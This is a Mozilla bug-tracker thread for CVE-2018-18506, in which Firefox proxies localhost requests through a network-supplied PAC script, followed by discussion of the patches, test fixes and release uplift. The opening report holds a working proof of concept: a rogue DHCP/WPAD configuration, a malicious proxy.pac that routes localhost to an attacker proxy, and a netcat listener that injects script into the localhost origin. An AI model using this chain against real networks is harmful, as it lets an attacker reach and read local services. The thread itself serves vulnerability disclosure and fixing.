1503393 - (CVE-2018-18506) firefox permits proxying localhost via PAC

Status: RESOLVED FIXED

(Core :: Networking, defect, P1)

Description

[Jann Horn]

User Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

Steps to reproduce:

 - install Firefox 63.0 in a Windows 10 VM, on a Linux host
 - ensure that the network interface is connected to an empty host bridge and that the VM software does not act as a DHCP server
 - configure a DHCP server on the host to send DHCP replies that point to a WPAD server, like this:

option wpad-url code 252 = text;
subnet 192.168.250.0 netmask 255.255.255.0 {
  range 192.168.250.100 192.168.250.200;
  option routers 192.168.250.1;
  option wpad-url "http://192.168.250.1:8080/proxy.pac";
}

 - run an HTTP server on the host, port 8080 (e.g. "python -m SimpleHTTPServer 8080"), serving a "proxy.pac" file with the following content:

function FindProxyForURL(url, host) {
  if (dnsDomainIs(host, "localhost") || isInNet(dnsResolve(host), "127.0.0.0", "255.0.0.0")) {
    return "PROXY 192.168.250.1:8081";
  } else {
    return "DIRECT";
  }
}

 - run `echo '<script>alert("hello from "+document.location)</script>' | nc -Nvlp 8081` on the host
 - in the guest, in Firefox, open about:preferences; under General > Network Settings, click "Settings"
 - tick "Auto-detect proxy settings for this network"
 - click "OK"
 - close Firefox in the guest
 - disable and re-enable the guest's network interface (via Control Panel > Network and Internet > Network Connections)
 - open Firefox on the guest
 - navigate to http://localhost/

Thanks to eroman@ from Chrome Security for pointing out that this affects Firefox if the user has enabled proxy auto-detection.


Actual results:

Firefox connects to the proxy provided by the PAC script, and the JS code `alert("hello from "+document.location)` runs in the context of http://localhost/.


Expected results:

localhost should be special. There are applications that bind a web server to localhost and then use "Host" header checks to prevent DNS rebinding attacks. Such applications need to be protected from malicious outside traffic even if the network is malicious. Currently, Firefox does not special-case localhost in proxying decisions; this means that an attacker can abuse WPAD to gain the ability to serve attacker-controlled content at http://localhost:*/* , at which point the attacker should be able to perform same-origin XHR to http://localhost:*/* (e.g. by letting the PAC file specify "DIRECT" as fallback if the proxy goes down).

Comment 1

[Andrew McCreight [:mccr8]]

Honza, do you know who might be able to look at this? Thanks.

Comment 2

[Frederik Braun [:freddy]]

Jann, is there a need to use network-discovery of proxy settings for this to be a bug?
(I do understand that there's a different threat model for network-supplied proxy configuration)

It should be easier to test and reproduce when supplying a .pac file in the proxy settings directly.

Comment 3

[Dragana Damjanovic [:dragana]]

Daniel, can you take a look? You looked into proxy stuff recently.

Comment 4

[Honza Bambas (:mayhemer)]

When you are configuring the proxy manually, there is a field "No Proxy for" that is by default prefilled with "localhost,127.0.0.1".  If you have not modified that preference, then we are apparently not respecting it for other than manual proxy configuration.  Maybe that should change in Necko and then in the UI?

Comment 5

[Daniel Stenberg [:bagder]]

That pref appears to only be used if DIRECT or MANUAL proxyconfig...

https://searchfox.org/mozilla-central/source/netwerk/base/nsProtocolProxyService.cpp#2295

But as :freddyb says, this looks like it works the same for PACs no matter how it gets to Firefox.

Comment 6

[Daniel Stenberg [:bagder]]

(where's my edit button?)

Sorry, only if MANUAL proxy is configured. Ie not for "PAC" nor "WPAD".

Comment 7

[Honza Bambas (:mayhemer)]

Does this has to be a security hidden bug?

Comment 8

[Jann Horn]

Re #2: I tested it, and I can reproduce the same behavior when a PAC URL has been manually configured. I believe that this is still, to some degree, a security problem if a PAC URL has been manually configured, but I believe that there is more obvious security impact if this is triggered by WPAD.


Re #4: My suggestion would be to also inhibit this behavior for a few other names. Looking around for software that attempts to protect itself against DNS rebinding:

CUPS uses the following code to verify the Host header (https://github.com/apple/cups/blob/master/scheduler/client.c#L3565-L3576); so all of the following host names should probably be excluded from (PAC-based) proxying:

    return (!_cups_strcasecmp(con->clientname, "localhost") ||
            !_cups_strcasecmp(con->clientname, "localhost.") ||
            !strcmp(con->clientname, "127.0.0.1") ||
            !strcmp(con->clientname, "[::1]"));


The devtools http handler of Chrome has a whitelisting function here: https://cs.chromium.org/chromium/src/content/browser/devtools/devtools_http_handler.cc?l=106&gsn=RequestIsSafeToServe

which whitelists localhost6, localhost6.localdomain6, localhost, localhost.localdomain, *.localhost, and variations of that with a dot at the end.

Comment 9

[Daniel Stenberg [:bagder]]

Attachment: 0001-bug-1503393-don-t-proxy-localhost-whatever-proxy-tha.patch

Maybe prevent localhost from getting proxied whatever proxy method that's used similar to this patch?

We could also consider to extend the default pref value.

Comment 10

[Alex Gaynor [:Alex_Gaynor]]

Ooop, brain fart.

Comment 11

[Daniel Stenberg [:bagder]]

Is there ever any reason for users to actually (willingly) proxy away "localhost" that we would risk breaking with this patch?

Comment 12

[Selena Deckelmann :selenamarie :selena]

:mt can you comment?

Comment 13

[Martin Thomson [:mt:]]

I think that we show let localhost be localhost and assume a fixed mapping from localhost to 127.0.0.1 or ::1.  We don't need to treat localhost6 or *.localdomain specially.  localhost is the only name that https://datatracker.ietf.org/doc/html/draft-ietf-dnsop-let-localhost-be-localhost blesses in this way.

It is possible that proxying connections to localhost do have use cases that depend on this.  For instance, there might be an application, like Fiddler, that is used for diagnostic purposes that is inserted in this way.  However, I think that we shouldn't entertain that possibility.  We provide plenty of other ways of achieving that end, so my only suggestion there is to watch carefully when rolling this change out.

Comment 14

[Honza Bambas (:mayhemer)]

Comment on attachment 9021830 [details] [diff] [review]
0001-bug-1503393-don-t-proxy-localhost-whatever-proxy-tha.patch

Review of attachment 9021830 [details] [diff] [review]:
-----------------------------------------------------------------

Looks like the order your patch is now fixing has been broken (or set deliberately) at:
https://searchfox.org/mozilla-central/diff/ad3855ddf60ea11f60d4fa075baec47da681714d/netwerk/base/src/nsProtocolProxyService.cpp#1265
bug 66057, and also somewhat related osx bug 125995.  I haven't found a clear explanation of why the CanUseProxy check is mode only for non-system/auto-detect proxy setting.

this also needs some changes to the prefs UI, I'm afraid (don't forget about TB,SM as well, unless prefs live in a shared toolkit code).  the field for listing exceptions is disabled when one of autodetect/system is set, I think.  that has to change to avoid confusion and bad UX, as those now apply for all proxy settings cases.

r+ only for the necko change, but we definitely need a UI patch as well, IMO.

::: netwerk/base/nsProtocolProxyService.cpp
@@ +2230,5 @@
> +    if ((mProxyConfig == PROXYCONFIG_DIRECT) ||
> +        !CanUseProxy(uri, info.defaultPort))
> +        return NS_OK;
> +
> +     bool mainThreadOnly;

nit: indent

Comment 15

[Daniel Stenberg [:bagder]]

As this is still marked a security issue, how would we proceed and get the associated UI logic fixed? (I looked, it's not likely something that I'd do myself.)

I think either we land the networking part first, and then file a follow-up issue to make sure the UI shows the exclude field for all proxy types or we invite a suitable UI-skilled person to submit a separate patch here so that they can land in tandem.

I would need advice on how to handle TB and SM prefs UI (if there's any)! The browser UI code looks specific for Firefox.

This issue is marked sec-moderate, which we according to the guidelines can land "without any explicit approval" so it's more about what's right from a bug-handling view.

What do you say Honza? I personally prefer the first: we land this, then do the follow-up changes separately.

Comment 16

[Daniel Stenberg [:bagder]]

Attachment: the network code patch for this issue

Updated to fix the indent nit, carrying on the r+.

Comment 17

[Honza Bambas (:mayhemer)]

As discussed, we have to file a new security(?) UI/UX bug (I'd wait for Selena to figure out what we need here.)  Not sure if this one should wait or not, really.

In my opinion, this should not be tracked as a security bug at all.  Opening will somewhat untie our hands in landing/having dependencies.

dveditz, what do you think?

Comment 18

[Martin Thomson [:mt:]]

Comment on attachment 9023897 [details] [diff] [review]
the network code patch for this issue

Review of attachment 9023897 [details] [diff] [review]:
-----------------------------------------------------------------

Where are the tests for this change?

Comment 19

[Daniel Stenberg [:bagder]]

Attachment: verify default localhost skipped from PAC proxying

Here's a small addition to the protocolproxy tests that verifies that by default we don't proxy "localhost" in a PAC setup. (Requires the previous patch to pass.)

Comment 20

[Honza Bambas (:mayhemer)]

Comment on attachment 9023960 [details] [diff] [review]
verify default localhost skipped from PAC proxying

Review of attachment 9023960 [details] [diff] [review]:
-----------------------------------------------------------------

thanks!

Comment 21

[Daniel Veditz [:dveditz]]

(In reply to Honza Bambas (:mayhemer) from comment #17)
> In my opinion, this should not be tracked as a security bug at all.  Opening
> will somewhat untie our hands in landing/having dependencies.
> dveditz, what do you think?

This was reported to us thanks to investigation by the chrome team while working on their own version of this problem, https://bugs.chromium.org/p/chromium/issues/detail?id=899126. They're still treating theirs as a hidden security bug and we should honor that.

We can land this fix without unhiding the bug. We could also file an unhidden UX "feature request" to expose the exceptions field for all proxy types. Just don't say that not being able to edit the exceptions means there were no exceptions.

Comment 22

[Justin Dolske [:Dolske]]

(In reply to Daniel Stenberg [:bagder] from comment #15)
> As this is still marked a security issue, how would we proceed and get the
> associated UI logic fixed? (I looked, it's not likely something that I'd do
> myself.)

Selena poked me about this bug. Gijs, can you help out with the UI changes? Sounds like we just need to have the UI always enable the "No Proxy for" field as being used for any form of proxy connection?

Also NIing mkaply as just a heads up, since this bug generally sounds like the kind of thing that enterprise users might be using.

Driveby comment: Are we sure we just want to rely on this field for localhost (as opposed to, say, a suitably scary sounding pref)? I'd sorta expect users and deployments to not really understand the impact of clearing localhost from those fields and allowing it to be proxied.

Driveby 2: The defaults for network.proxy.no_proxies_on are "localhost, 127.0.0.1". What happens with IPv6

Driveby 3 (help I have a problem): Are there cases where someone would _want_ the current behavior to prevent localhost sniffing? But I suppose that's really different class of problem?

Comment 23

[Mike Kaply [:mkaply]]

I always believed that network.proxy.no_proxies_on was honored for all types even if it was disabled in those cases, and I think that other folks probably did too.

So I don't see a problem with moving this out to be the general case. If someone has a particular issue, they can just remove localhost from the no proxies case if necessary.

Comment 24

[:Gijs (he/him)]

(In reply to Justin Dolske [:Dolske] from comment #22)
> Gijs, can you help out with the UI changes?
> Sounds like we just need to have the UI always enable the "No Proxy for"
> field as being used for any form of proxy connection?
> <snip>
> Driveby comment: Are we sure we just want to rely on this field for
> localhost (as opposed to, say, a suitably scary sounding pref)? I'd sorta
> expect users and deployments to not really understand the impact of clearing
> localhost from those fields and allowing it to be proxied.

I concur with this. While we could handle this in the UI only (ie make the UI enforce that localhost / 127.0.0.1 / ::1 are in the pref, when edited through said UI), that wouldn't prevent problems for users who either themselves or through a well-meaning/oblivious sysadmin manually configure the prefs (whether via our blessed enterprise deployment mechanisms or otherwise).

It's particularly pernicious because the vulnerability would be a result of omission, rather than explicitly opting in to unsafe behavior.

In practice, I believe that means we should add a block immediately after the mShutdown check in https://searchfox.org/mozilla-central/rev/007b66c1f5f7a1b9a900a2038652a16a020f010c/netwerk/base/nsProtocolProxyService.cpp#1929 that force-adds the relevant entries. Then we can change the existing filter list pref's default to empty string.

:bagder, how does that sound? Was there maybe some discussion outside of this bug that led to the current patch?

I'm happy to provide a UI patch to always enable the edit field for the existing filter pref, but I think we should sort this question out, too. We could potentially show text above the filter textbox saying something like "localhost is never proxied", to clarify that it doesn't need to be in there.

If we want an opt-out, to avoid the vulnerable-by-omission issue, I think it should be more explicitly named, e.g. (strawman, please do suggest better alternatives) network.proxy.allow_hijacking_localhost (default false, of course). I would propose not having UI for this (beyond the obvious about:config).

Comment 25

[Daniel Stenberg [:bagder]]

> force-adds the relevant entries

I would be slightly concerned about the changed behavior for those 12 users (my guesstimate!) in the wild who actually have this pref changed and still actually and truly want to proxy localhost.

But I would also be fine if we instead would offer a different opt-out for localhost explicitly.

I think it boils down to making the UI sensible to users so that they don't shoot themselves too easily. If we deem the current style with a text field that contains the localhost versions is too easily used wrongly, then changing the localhost to an explicit opt-out is good.

(It is after all also possible that some of those 12 users changed it by mistake and now proxy localhost without it ever being intended...)

Comment 26

[:Gijs (he/him)]

Per discussion with :bagder on IRC, I'll put up a small patch here ASAP to just always enable the edit field that we can land in this bug, and file a (sec-sensitive) follow-up for moving the localhost stuff into a separate pref.

Comment 27

[:Gijs (he/him)]

Attachment: Make 'no proxy' field editable

This will mean the field is disabled only when the user selects "no proxy".

Comment 28

[:Gijs (he/him)]

I think this is ready to land - :dveditz, given the status of crbug/899126, can this just land on inbound today (as it's sec-moderate, doesn't need approval) or do you want to sync up with the chrome team or something?

Comment 29

[Daniel Veditz [:dveditz]]

This can land any time. The chrome bug is still hidden but they've landed their patch:
https://chromium.googlesource.com/chromium/src.git/+/0e2a57db78b2dca463903ab26523fe9ac1798949

Comment 30

[:Gijs (he/him)]

(In reply to Daniel Veditz [:dveditz] from comment #29)
> This can land any time. The chrome bug is still hidden but they've landed
> their patch:
> https://chromium.googlesource.com/chromium/src.git/+/
> 0e2a57db78b2dca463903ab26523fe9ac1798949

OK, great. :bagder, can you land this? I'm also happy to do it, just wanting to make sure someone does and didn't want to do it without checking with you. :-)

Comment 31

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/integration/autoland/rev/606cfe2ddd368dc617f52795ddb2f5016d3ef1a8
https://hg.mozilla.org/integration/autoland/rev/7b1514667292828ecbabc998ad42947da468c0e9
https://hg.mozilla.org/integration/autoland/rev/02892fb6feaba4654eb127812b8a43147cc6690b

Comment 32

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Backed out for failing xpcshell's test_proxy-failover_canceled.js and mochitest browser-chrome's browser_firstPartyIsolation.js:

https://hg.mozilla.org/integration/autoland/rev/d277cd7dcbb4c4c5e2741723fd6974bb79367055

Push with failures: https://treeherder.mozilla.org/#/jobs?repo=autoland&resultStatus=testfailed%2Cbusted%2Cexception%2Cretry%2Cusercancel%2Crunnable&group_state=expanded&revision=02892fb6feaba4654eb127812b8a43147cc6690b

Failure log xpcshell: https://treeherder.mozilla.org/logviewer.html#?job_id=212698531&repo=autoland
[task 2018-11-19T20:37:19.112Z] 20:37:19     INFO -  TEST-START | netwerk/test/unit/test_proxy-failover_canceled.js
[task 2018-11-19T20:37:19.608Z] 20:37:19  WARNING -  TEST-UNEXPECTED-FAIL | netwerk/test/unit/test_proxy-failover_canceled.js | xpcshell return code: 0
[task 2018-11-19T20:37:19.611Z] 20:37:19     INFO -  TEST-INFO took 494ms
[task 2018-11-19T20:37:19.611Z] 20:37:19     INFO -  >>>>>>>
[task 2018-11-19T20:37:19.611Z] 20:37:19     INFO -  PID 8359 | [8359, Main Thread] WARNING: Couldn't get the user appdata directory. Crash events may not be produced.: file /builds/worker/workspace/build/src/toolkit/crashreporter/nsExceptionHandler.cpp, line 2749
[task 2018-11-19T20:37:19.611Z] 20:37:19     INFO -  PID 8359 | Couldn't convert chrome URL: chrome://branding/locale/brand.properties
[task 2018-11-19T20:37:19.613Z] 20:37:19     INFO -  (xpcshell/head.js) | test MAIN run_test pending (1)
[task 2018-11-19T20:37:19.614Z] 20:37:19     INFO -  PID 8359 | [8359, Main Thread] WARNING: NS_ENSURE_SUCCESS(rv, rv) failed with result 0x80004002: file /builds/worker/workspace/build/src/toolkit/components/resistfingerprinting/nsRFPService.cpp, line 683
[task 2018-11-19T20:37:19.616Z] 20:37:19     INFO -  PID 8359 | [8359, Main Thread] WARNING: NSS will be initialized without a profile directory. Some things may not work as expected.: file /builds/worker/workspace/build/src/security/manager/ssl/nsNSSComponent.cpp, line 1562
[task 2018-11-19T20:37:19.617Z] 20:37:19     INFO -  PID 8359 | [8359, Main Thread] WARNING: site security information will not be persisted: file /builds/worker/workspace/build/src/security/manager/ssl/nsSiteSecurityService.cpp, line 553
[task 2018-11-19T20:37:19.618Z] 20:37:19     INFO -  PID 8359 | [8359, Main Thread] WARNING: NS_ENSURE_SUCCESS(rv, NS_ERROR_UNEXPECTED) failed with result 0x80004005: file /builds/worker/workspace/build/src/extensions/cookie/nsPermissionManager.cpp, line 1038
[task 2018-11-19T20:37:19.619Z] 20:37:19     INFO -  PID 8359 | [8359, Cache2 I/O] WARNING: Forcing memory-only entry since CacheFileIOManager doesn't have mCacheDirectory.: file /builds/worker/workspace/build/src/netwerk/cache2/CacheFile.cpp, line 538
[task 2018-11-19T20:37:19.620Z] 20:37:19     INFO -  (xpcshell/head.js) | test pending (2)
[task 2018-11-19T20:37:19.621Z] 20:37:19     INFO -  (xpcshell/head.js) | test MAIN run_test finished (2)
[task 2018-11-19T20:37:19.621Z] 20:37:19     INFO -  running event loop
[task 2018-11-19T20:37:19.622Z] 20:37:19     INFO -  PID 8359 | [8359, Main Thread] WARNING: Could not get the program name for a cubeb stream.: 'NS_SUCCEEDED(rv)', file /builds/worker/workspace/build/src/dom/media/CubebUtils.cpp, line 358
[task 2018-11-19T20:37:19.623Z] 20:37:19     INFO -  "CONSOLE_MESSAGE: (info) No chrome package registered for chrome://branding/locale/brand.properties"
[task 2018-11-19T20:37:19.624Z] 20:37:19     INFO -  Got data despite expecting a failure
[task 2018-11-19T20:37:19.625Z] 20:37:19     INFO -  /builds/worker/workspace/build/tests/xpcshell/tests/netwerk/test/unit/head_channels.js:onDataAvailable:143
[task 2018-11-19T20:37:19.626Z] 20:37:19     INFO -  /builds/worker/workspace/build/tests/xpcshell/head.js:_do_main:226
[task 2018-11-19T20:37:19.626Z] 20:37:19     INFO -  /builds/worker/workspace/build/tests/xpcshell/head.js:_execute_test:546
[task 2018-11-19T20:37:19.627Z] 20:37:19     INFO -  -e:null:1
[task 2018-11-19T20:37:19.628Z] 20:37:19     INFO -  exiting test
[task 2018-11-19T20:37:19.629Z] 20:37:19     INFO -  Error in onDataAvailable: [Exception... "Abort"  nsresult: "0x80004004 (NS_ERROR_ABORT)"  location: "JS frame :: /builds/worker/workspace/build/tests/xpcshell/head.js :: _abort_failed_test :: line 759"  data: no]
[task 2018-11-19T20:37:19.629Z] 20:37:19     INFO -  /builds/worker/workspace/build/tests/xpcshell/tests/netwerk/test/unit/head_channels.js:onDataAvailable:158
[task 2018-11-19T20:37:19.630Z] 20:37:19     INFO -  /builds/worker/workspace/build/tests/xpcshell/head.js:_do_main:226
[task 2018-11-19T20:37:19.631Z] 20:37:19     INFO -  /builds/worker/workspace/build/tests/xpcshell/head.js:_execute_test:546
[task 2018-11-19T20:37:19.631Z] 20:37:19     INFO -  -e:null:1
[task 2018-11-19T20:37:19.632Z] 20:37:19     INFO -  exiting test
[task 2018-11-19T20:37:19.632Z] 20:37:19     INFO -  PID 8359 | JavaScript error: /builds/worker/workspace/build/tests/xpcshell/head.js, line 759: NS_ERROR_ABORT:
[task 2018-11-19T20:37:19.633Z] 20:37:19     INFO -  TEST-PASS | netwerk/test/unit/test_proxy-failover_canceled.js | finish_test - [finish_test : 23] "" == ""
[task 2018-11-19T20:37:19.634Z] 20:37:19     INFO -  "CONSOLE_MESSAGE: (error) [JavaScript Error: "NS_ERROR_ABORT: " {file: "/builds/worker/workspace/build/tests/xpcshell/head.js" line: 759}]"
[task 2018-11-19T20:37:19.634Z] 20:37:19     INFO -  (xpcshell/head.js) | test finished (1)
[task 2018-11-19T20:37:19.635Z] 20:37:19     INFO -  exiting test

Failure log browser-chrome: https://treeherder.mozilla.org/logviewer.html#?job_id=212696805&repo=autoland
[task 2018-11-19T20:37:42.473Z] 20:37:42     INFO - Entering test bound ip_address_test
[task 2018-11-19T20:37:42.474Z] 20:37:42     INFO - Buffered messages finished
[task 2018-11-19T20:37:42.474Z] 20:37:42     INFO - TEST-UNEXPECTED-FAIL | browser/components/originattributes/test/browser/browser_firstPartyIsolation.js | Test timed out -

Comment 33

[Daniel Stenberg [:bagder]]

I've starred at the browser_firstPartyIsolation.js test without understand why changing proxying over localhost changes that. Can anyone else clue me in if there's anything obvious I'm missing?

I've fixed the test_proxy-failover_canceled.js test already locally.

Comment 34

[Martin Thomson [:mt:]]

I don't know the code here, so maybe I'm completely wrong, but the last test uses an IP address, but we rely on a proxy for mochitests, don't we?

https://searchfox.org/mozilla-central/rev/0859e6b10fb901875c80de8f8fc33cbb77b2505e/browser/components/originattributes/test/browser/browser_firstPartyIsolation.js#287-288

The changes would prevent that unless you tweak the pref to specifically allow proxying.  Try tweaking network.proxy.no_proxies_on to see if that fixes it.

Comment 35

[:Gijs (he/him)]

(In reply to Martin Thomson [:mt:] from comment #34)
> I don't know the code here, so maybe I'm completely wrong, but the last test
> uses an IP address, but we rely on a proxy for mochitests, don't we?
> 
> https://searchfox.org/mozilla-central/rev/
> 0859e6b10fb901875c80de8f8fc33cbb77b2505e/browser/components/originattributes/
> test/browser/browser_firstPartyIsolation.js#287-288
> 
> The changes would prevent that unless you tweak the pref to specifically
> allow proxying.  Try tweaking network.proxy.no_proxies_on to see if that
> fixes it.

The screenshot ( https://taskcluster-artifacts.net/URrEOxguThmj_PZ6wsN_Mw/0/public/test_info//mozilla-test-fail-screenshot_zvOf90.png ) from the test failure ( https://treeherder.mozilla.org/#/jobs?repo=autoland&resultStatus=testfailed%2Cbusted%2Cexception%2Cretry%2Cusercancel%2Crunnable&group_state=expanded&revision=02892fb6feaba4654eb127812b8a43147cc6690b&selectedJob=212696805 ) suggests this is right. It shows the new tab opened for the ip address test has loaded an error page. Now that we'll no longer use the proxy, the test tries to open http://127.0.0.1/ (so at port 80), and uses:

  await BrowserTestUtils.browserLoaded(tab.linkedBrowser, true);

which will wait for the browser to load a page. For various reasons that aren't really relevant here, error page loads "don't count", so the test will sit there forever waiting for a load in that browser. Presumably, when 127.0.0.1 is proxied, the proxy takes care of loading something there.

Sticking:

await SpecialPowers.pushPrefEnv({set: [["network.proxy.no_proxies_on", ""]]});

at the start of that subtest (ie first line in function ip_address_test) should work.

Comment 36

[Daniel Stenberg [:bagder]]

I'm running the patches on try now (https://treeherder.mozilla.org/#/jobs?repo=try&revision=a5aa6edc18ec0b0c2f1fc7e2aaf61852f24f4bfa) and the fixed test commit looks like this: https://hg.mozilla.org/try/rev/157999d696022a78660e537720e2d6f6aa33288c

Comment 37

[Daniel Stenberg [:bagder]]

Attachment: 0001-bug-1503393-adjust-tests-for-localhost-proxying-r-ma.patch

Here's the follow-up patch mentioned above that fixes two test failures due to the changed localhost proxy handling.

Comment 38

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Please rebase the patches, they got bitrotted by the code style change on Friday.

Comment 39

[Daniel Stenberg [:bagder]]

Attachment: v2-0001-bug-1503393-never-let-localhost-get-sent-to-a-pro.patch

Comment 40

[Daniel Stenberg [:bagder]]

Attachment: v2-0002-bug-1503393-verify-default-localhost-not-proxied-.patch

Comment 41

[Daniel Stenberg [:bagder]]

Attachment: v2-0003-Bug-1503393-Make-no-proxy-field-editable-r-jaws.patch

Comment 42

[Daniel Stenberg [:bagder]]

Attachment: v2-0004-bug-1503393-adjust-tests-for-localhost-proxying-r.patch

Comment 43

[Daniel Stenberg [:bagder]]

I believe only the first actually needed a rebase but I bumped them all just to be safe.

Comment 44

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/integration/autoland/rev/49428012434e379316f2d831a088a27cf1b429ee
https://hg.mozilla.org/integration/autoland/rev/02e383b73c971e656097b3040e9cc523039018d6
https://hg.mozilla.org/integration/autoland/rev/7878029aaba609b5433d3eea98873a450cf2cb62
https://hg.mozilla.org/integration/autoland/rev/52e8ef71af9b837be53b294d09381d70c5efceba

Comment 45

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Backed out for failing various browser-chrome tests, e.g. browser_extension_controlled.js:

https://hg.mozilla.org/integration/autoland/rev/7670b6ce33a4b3ad15ff3dc1ec3bfb9349cec19b

Push with failures: https://treeherder.mozilla.org/#/jobs?repo=autoland&resultStatus=testfailed%2Cbusted%2Cexception%2Cretry%2Cusercancel%2Crunnable&group_state=expanded&revision=52e8ef71af9b837be53b294d09381d70c5efceba

Comment 46

[Alex Gaynor [:Alex_Gaynor]]

P0 has disclosed the Chrome version of this issue: https://bugs.chromium.org/p/project-zero/issues/detail?id=1707

Comment 47

[:Gijs (he/him)]

(In reply to Sebastian Hengst [:aryx] (needinfo on intermittent or backout) from comment #45)
> Backed out for failing various browser-chrome tests, e.g.
> browser_extension_controlled.js:
> 
> https://hg.mozilla.org/integration/autoland/rev/
> 7670b6ce33a4b3ad15ff3dc1ec3bfb9349cec19b
> 
> Push with failures:
> https://treeherder.mozilla.org/#/
> jobs?repo=autoland&resultStatus=testfailed%2Cbusted%2Cexception%2Cretry%2Cuse
> rcancel%2Crunnable&group_state=expanded&revision=52e8ef71af9b837be53b294d0938
> 1d70c5efceba

Pretty sure this is just a pile of browser tests that need to have the pref flipped/changed so they don't break (or use a different URL). I can try to drive this over the line given :bagder has unassigned - unless someone else wants to take this.

Comment 48

[Daniel Stenberg [:bagder]]

Please do. I unassigned myself from all my bugs as I've left Mozilla and don't want to give the perception that I will give these bugs much attention as I can't promise that.

Comment 49

[:Gijs (he/him)]

Relanded with a bunch more test fixes: https://treeherder.mozilla.org/#/jobs?repo=mozilla-inbound&revision=69ca4c75a33194f5d9116b7777cd88c72ace69dc

Comment 50

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/mozilla-central/rev/ba6a8e3b0716
https://hg.mozilla.org/mozilla-central/rev/6830e17b39c6
https://hg.mozilla.org/mozilla-central/rev/681d8945da88
https://hg.mozilla.org/mozilla-central/rev/69ca4c75a331

Comment 51

[Ryan VanderMeulen [:RyanVM]]

Not sure what the backport story is on this bug, but I assume we'll want to let it bake on Nightly for a bit even if we do want to eventually uplift.

Comment 52

[:Gijs (he/him)]

(In reply to Ryan VanderMeulen [:RyanVM] from comment #51)
> Not sure what the backport story is on this bug, but I assume we'll want to
> let it bake on Nightly for a bit even if we do want to eventually uplift.

Yeah. I actually think it isn't particularly risky, but also that we're unlikely to gain much from nightly testing in that I doubt many of them use PACs. The automated tests were a bit of a nightmare mainly *because* we use PACs for all our mochitest/marionette-based (and maybe others?) automated tests... Honza, you reviewed the platform bits, would you agree that uplifting to beta 65 should be done?

I think for ESR, pushing a change like this is potentially too disruptive for enterprises... it's sec-moderate, so we could decide not to uplift. On the other hand, they're also the most likely victims here. I'd suggest posting to the enterprise list but I don't think there's anything actionable they can do if we don't uplift the patch... We could potentially do a version of the patch that implements the new behavior behind a secondary pref, which they can then enable, but that seems like a lot of effort for very small returns... Thoughts, Ryan?


In other news, we should document that accessing localhost/127.0.0.1 directly in tests is now going to need you to push a pref change in the test, but I'm not sure where to do that documenting... I think the best bet to spread awareness is to post to mailing lists like m.d.platform and fx-dev, but I don't really want to paint a bulls-eye on this security issue. Thoughts, Dan? Arguably, Chrome has kinda 0-day'd us here by opening up their issue anyway...

Comment 53

[Honza Bambas (:mayhemer)]

This is so specific case that I think uplifting is fine.  

Corporate environments will likely get their PACs from trusted sources, so they are likely fine.  

If someone plays with localhost while having a PAC setup, the one also likely knows what he/she is doing - is a power users or a developer and may already changed the prefs anyway.  Those that don't know what they are doing (common users) will only benefit from this.

Honestly I'm kinda surprised this is kept so secretive.  The change in default config like this should be more publicly communicated.  Yeah, it's hard.  It can also be used as an attack, potentially, in very special ceses.


So, yes, in favor of the beta uplift.

Comment 54

[Daniel Veditz [:dveditz]]

(In reply to :Gijs (he/him) from comment #52)
> [...] but I don't really want to paint a bulls-eye on this security issue.
> Thoughts, Dan? Arguably, Chrome has kinda 0-day'd us here by opening up
> their issue anyway...

Technically it's Google P0 that published (the Chrome bug is still hidden), but that should be good enough to unhide ours.

Comment 55

[:Gijs (he/him)]

Comment on attachment 9029278 [details] [diff] [review]
v2-0001-bug-1503393-never-let-localhost-get-sent-to-a-pro.patch

[Beta/Release Uplift Approval Request]

Feature/Bug causing the regression: n/a

User impact if declined: Security issues with localhost access when using pac

Is this code covered by automated tests?: Yes

Has the fix been verified in Nightly?: No

Needs manual test from QE?: Yes

If yes, steps to reproduce: See comment 0

List of other uplifts needed: n/a

Risk to taking this patch: Low

Why is the change risky/not risky? (and alternatives if risky): See comment 53; This is a straightforward set of changes that effectively change when an existing pref applies, and had to update a number of tests purely because of the idiosyncratic nature of the testing setup of mochitests (which uses PAC to control network access, but some tests then also try to use 127.0.0.1 and expect it to be served by the PAC'd test server).

String changes made/needed: None

Comment 56

[:Gijs (he/him)]

Comment on attachment 9029279 [details] [diff] [review]
v2-0002-bug-1503393-verify-default-localhost-not-proxied-.patch

See comment 55 for approval request

Comment 57

[:Gijs (he/him)]

Comment on attachment 9029280 [details] [diff] [review]
v2-0003-Bug-1503393-Make-no-proxy-field-editable-r-jaws.patch

See comment 55 for approval request

Comment 58

[:Gijs (he/him)]

Comment on attachment 9029281 [details] [diff] [review]
v2-0004-bug-1503393-adjust-tests-for-localhost-proxying-r.patch

See comment 55 for approval request

Note: please uplift/graft/rebase the csets as landed on m-c, instead of trying to reapply these patches, which will only end in pain.

Comment 59

[Ryan VanderMeulen [:RyanVM]]

I'm inclined to let this wait for the next major ESR release rather than trying to backport, but that's not a strong feeling if others who better understand the risk vs. reward think it's a good idea to take on ESR60.

Comment 60

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9029278 [details] [diff] [review]
v2-0001-bug-1503393-never-let-localhost-get-sent-to-a-pro.patch

[Triage Comment]
Fixes a sec issue already publicly disclosed by Project Zero. Approved for 65.0b6.

Comment 61

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-beta/rev/08b14d60d0fc
https://hg.mozilla.org/releases/mozilla-beta/rev/005811564dc5
https://hg.mozilla.org/releases/mozilla-beta/rev/b380a84b065d
https://hg.mozilla.org/releases/mozilla-beta/rev/794b2e929584

Comment 62

[Catalin Sasca, Desktop Test Engineering [:csasca]]

Ok, so I've successfully set up the guest Windows 10 vm on Ubuntu 18.04 host, but I'm having trouble setting up the DHCP server. Can you provide some exact steps to set up the DHCP server?

Comment 63

[Honza Bambas (:mayhemer)]

(In reply to Sasca Catalin, QA [:csasca] from comment #62)
> Ok, so I've successfully set up the guest Windows 10 vm on Ubuntu 18.04
> host, but I'm having trouble setting up the DHCP server. Can you provide
> some exact steps to set up the DHCP server?

